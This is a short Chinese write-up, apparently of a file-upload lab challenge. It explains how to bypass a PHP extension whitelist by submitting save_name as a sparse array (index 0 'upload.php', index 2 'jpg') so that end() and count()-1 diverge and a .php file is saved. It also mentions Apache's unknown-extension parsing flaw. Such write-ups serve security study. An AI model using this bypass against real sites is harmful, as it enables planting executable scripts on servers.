想要绕过白名单上传,很明显需要使end($file)和$file[count($file)-1]指向不同的内容,
end($file)是合法的后缀用于骗过白名单,而$file[count($file)-1]是实际上传的后缀
那怎样才能让数组最后一个元素和$file[count($file)-1]不一样呢?
由于explode函数只能分割字符串 那么用$_POST['save_name']上传一个数组就绕过了这段代码
$file = empty($_POST['save_name'])?$_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); }却成为了$file数组
那么让数组最后一个元素为合法后缀
array(3){
['save_name'][0]=>upload.php
['save_name'][2]=>jpg
}正常来说 end($file)=$file[count($file) - 1]
但我没有上传下标为['save_name'][1]=>xxx的数组元素 所以2-1=1 数组元素为空
那么$file_name = reset($file) . '.' . $file[count($file) - 1]; 保存成了upload.php空字符 也就是upload.php
从而实现了绕过白名单
当然你也可以使用apache未知后缀名的解析漏洞 记得设置 phpts版本 中间件 设置Apache以moudel方式连接
白名单+二次渲染+随机文件夹+随机文件名+变态WAF+无敌杀毒软件
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。